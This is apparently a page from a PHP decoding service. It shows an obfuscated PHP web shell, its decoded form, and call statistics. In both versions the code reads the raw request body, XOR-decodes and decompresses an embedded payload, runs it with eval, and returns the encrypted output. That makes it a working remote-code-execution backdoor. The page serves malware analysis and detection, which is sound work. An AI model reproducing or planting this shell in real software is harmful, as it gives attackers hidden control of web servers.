Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $o='$keF="e9eF43ca1b";$keFh="f7c2cb5eF1bd19eF";$eFkf="81eFf81eeFf33eFeFd4c";$p="lc9..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="e943ca1b";$kh="f7c2cb51bd19";$kf="81f81ef33d4c";$p="lc9GPdDR6C6PbJIh";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$o='$keF="e9eF43ca1b";$keFh="f7c2cb5eF1bd19eF";$eFkf="81eFf81eeFf33eFeFd4c";$p="lc9eFGeFPdDR6CeF6PbJIh';
$m=str_replace('T','','crTeatTe_TTfTunTction');
$X='ceFheF("/$keFh(.+)$kf/",@fileeF_get_eFeFcontents("php:/eF/eFeFinput"),eF$m)=eF=1) {@ob_start()eF;@e';
$T='jeF=0;($j<$c&&$i<$eFl);eF$jeF++eF,$i++){$o.=eF$t{$eFi}^$k{$j};eF}}return eF$o;}ieFf (@peFreeFg_mat';
$A='ob_eeFnd_cleaneF();eF$eFr=@baeFse64_encode(@x(@gzeFcompreFess($o)eF,$eFk));prineFt("$p$kh$eFr$kf");}';
$I='";eFfunceFtion xeF($t,$k){$c=steFeFrlen($k);$l=strlen(eF$eFt);$eFo="";foreF($i=0;$i<$leF;)eF{feFor($';
$C='eFval(@gzunceFompreseFs(eF@x(@baeFeFse64_decodeFe(eF$m[1]),$keF)));$o=@ob_geFet_conteFents();@eFeF';
$Z=str_replace('eF','',$o.$I.$T.$X.$C.$A);
$L=$m('',$Z);$L();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 0a4680805dd55046816d1a165ed80579 |
Eval Count | 1 |
Decode Time | 304 ms |